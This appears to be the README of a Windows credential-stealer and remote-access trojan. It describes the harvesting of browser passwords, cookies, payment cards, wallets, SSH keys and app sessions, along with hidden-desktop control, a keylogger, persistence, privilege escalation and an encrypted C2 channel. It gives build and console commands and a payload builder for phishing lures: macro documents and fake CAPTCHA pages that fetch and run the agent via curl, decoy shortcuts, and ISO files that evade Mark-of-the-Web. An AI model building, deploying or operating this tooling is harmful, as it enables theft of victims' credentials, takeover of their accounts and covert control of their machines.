Derived from the 2023-era Creal stealer. Since mid-2024 Chrome has locked credential decryption behind App-Bound Encryption (ABE), a COM service running as the browser user. The agent walks that COM object in-process via indirect syscalls, so decrypted credentials never touch disk. ABE research is all xaitax. Local testing and research only.

Demo

VirusTotal

Features

🖥️ Hidden desktop (hvnc start / hvnc launch chrome): GDI apps and a real Chromium on a hidden desktop, streamed live
🌐 Ghosted browser (ghost <url>): hidden Chrome/Edge session using the victim's cookies and logins
🔑 Credential harvesting: Chrome, Edge, Brave, Opera, Opera GX, Firefox
💳 App-session harvesting: payment cards, Discord, Steam, Telegram, Slack, VS Code, AWS, SSH keys, Wi-Fi passwords, wallet extensions, Signal sessions
- Password managers (password_managers): LastPass (raw vault capture), Windows Credential Manager, Proton Pass (raw vault capture)
- Games (games): Minecraft accounts, Roblox cookies, Epic, Battle.net, Riot, Ubisoft, GOG, EA, Rockstar
- Network clients (network_clients): WinSCP, PuTTY, mRemoteNG, MobaXterm, OpenVPN
- AI assistants (ai_assistants): Claude Desktop, OpenAI Codex, Gemini CLI, opencode
🔐 Encrypted C2 channel: reverse TCP (default) or HTTPS beaconing through a CDN
📦 Payload builder (setup.py): msfvenom-style config, ECDH key handling, -p wrappers for 9 delivery formats
⌨️ Keylogger and clipboard monitoring
🪝 Persistence: user-registry Run key and WMI event subscriptions
🕵️ Anti-analysis: user-mode environment checks, reflective injection

How it works

🔐 Channel: the console holds the private half of an ECDH P-256 keypair in .misery_key; the agent only ever ships the public half. Every session derives a fresh AES-256-GCM key from the handshake, so no key material repeats across bots.
💉 Stealing: spawn a suspended Chrome or Edge, inject the payload DLL in-process, and walk the ABE COM object to decrypt the stored credentials. No disk write, and the browser never visibly opens.
🖥️ HVNC: GDI apps run on a hidden desktop and stream frames to the operator view. Ghosted sessions drive a real Chromium over the Chrome DevTools Protocol, logged into the victim's profiles; the browser is basically them.
⬆️ Elevation: relaunch as admin via a forged PEB (process environment block) and COM auto-elevation (CMSTPLUA/ICMLuaUtil), then SYSTEM through SeDebug token theft from a non-PPL process.

Tested On

Target	Version
Google Chrome	`150.0.7871.187`
Microsoft Edge	`151.0.4129.59`
Elevation chain	Windows 11 25H2 (build 26200)

Quick start

setup.py writes src/config.h, saves the console's ECDH key to .misery_key, and builds the project:

python setup.py -g                                        # interactive
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 -o agent   # non-interactive

Run the console listener, then the agent:

.\build\console.exe
.\build\agent.exe

Type help in the console for the full command list.

CDN mode

Same console and commands, no public IP. The agent POSTs encrypted frames to a Cloudflare Worker that relays through a Zero Trust Tunnel to the console.

python setup.py -t https_cdn BEACON_URL=https://<you>.workers.dev/poll AUTH_SECRET=<secret> TUNNEL_HOST=c2.example.com

setup.py emits deploy/worker.js and deploy/cloudflared-config.yml. Deploy the worker with wrangler deploy deploy/worker.js, fill the tunnel UUID into the config, cloudflared tunnel run <name>.

Payload wrappers

The builder (setup.py -p <formats>) packages the agent into delivery filetypes in dist/ and records each one in <out>.manifest.json with its sha256 and size. python setup.py --list-formats prints the current list with dependencies.

docm - Word macro document; Document_Open shells a hidden cmd/curl download-and-run from a compiled base (wrappers_bases/docm_base.docm)
xlsm - Excel macro workbook; Workbook_Open shells the same chain from a compiled base (wrappers_bases/xlsm_base.xlsm); runtime values live in a hidden cfg sheet
lnk - shortcut plus companion .cmd; the LNK probes Downloads/Desktop for the .cmd, which opens a decoy PDF then fetches and runs the agent (the chain lives in the .cmd because Defender's FastPath flags any LNK-launched curl download cmdline)
pdf - agent embedded as a PDF attachment, launched on open
html - OneDrive-style page; the agent hides in a zip blob behind a button click
clickfix_html - fake Cloudflare "Verify you are human" page; checking the box copies a cmd/curl download-and-run command to the clipboard and shows the Win+R / Ctrl+V / Enter steps
iso - ISO with the agent inside, sidesteps MOTW
polyglot_exe_zip - runs as an exe, opens as a zip holding a document.pdf.lnk and its companion .cmd
polyglot_html - runs as an exe, shows a decoy page in a browser

python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 -p docm,iso -o misery STAGE_URL=http://127.0.0.1:8080/misery.exe

-p all builds every format. The macro, lnk, clickfix, and polyglot_exe_zip formats fetch the agent from STAGE_URL when the target opens them; pdf, html, iso, and polyglot_html carry the agent themselves.

Delivery notes:

The docm/xlsm bases are compiled by Office itself; pyopenvba-style rebuilds write source-only streams whose auto-events never hook (root-caused live 2026-08). Builds inject only the stage URL and agent filename, so no macro stream is ever rewritten.
The lnk and polyglot_exe_zip fetch their decoy PDF from the same directory as STAGE_URL; host the generated <out>.cmd and <out>.decoy.pdf next to the agent.
Downloaded files get the Mark-of-the-Web, which trips SmartScreen on macros and executables. Extract a container with 7-Zip or WinRAR to drop it. That's the route for macro and exe formats; pdf and html serve fine straight from a browser.
Optional libs; a missing one just skips its formats: pip install pylnk3 pycdlib pikepdf python-docx openpyxl

The docm/xlsm bases live in wrappers_bases/ and ship with the repo; rebuild them in Office if you ever change the macro logic (see the wrapper docstring notes), then commit the new base.

Commands

Command	What it does
`bot`	list bots; `bot <id>` targets one, `bot all` broadcasts
`steal`	run credential and session harvesting
`loot` / `dump`	replay the last steal result as boxed terminal sections
`elevate [system]`	relaunch the agent as admin; `system` chains to SYSTEM
`hvnc start` / `hvnc stop`	start or stop the hidden desktop session
`hvnc launch [path]`	launch an app (default Chrome) on the hidden desktop
`hvnc quality [10-100]`	set streamed frame JPEG quality
`ghost <url>`	open a URL in a ghosted hidden browser
`ghost nav <url>`	navigate the ghost browser
`ghost stop`	stop the ghost session
`keylog`	toggle the keylogger
`clip`	read the victim's clipboard
`shell / ps <cmd>`	run a hidden PowerShell one-liner on the agent
`history`	show command history
`clear` / `exit`	clear the terminal / quit

Build

Requires cmake and a C++ toolchain (MSVC, MinGW, or Clang).

MSVC:

cmake -S . -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release

MinGW:

cmake -S . -B build -G "MinGW Makefiles" -DCMAKE_BUILD_TYPE=Release
cmake --build build -j 4

A fresh checkout builds against 127.0.0.1:4444. Run setup.py once so .misery_key exists.

Layout

src/agent: entry, C2 client, injector, persistence
src/console: operator console + listener
src/payload: payload DLL, reflective loader, trampoline
src/stealer: Misery-derived sources
src/hvnc: hidden-desktop session
src/ghost: ghosted browser session
src/browser: CDP client (Page/Input over WebSocket)
src/rat: keylogger + clipboard
src/transport: encrypted TCP framing, HTTPS beacon carrier, compression
src/evasion: indirect syscalls, anti-analysis, UAC/token elevation, helpers
wrappers_bases/: Office-authored compiled macro bases used by the docm/xlsm wrappers
build/: out-of-source build dir

Licence

No licence granted. Research code for study only; not licensed for redistribution or commercial use.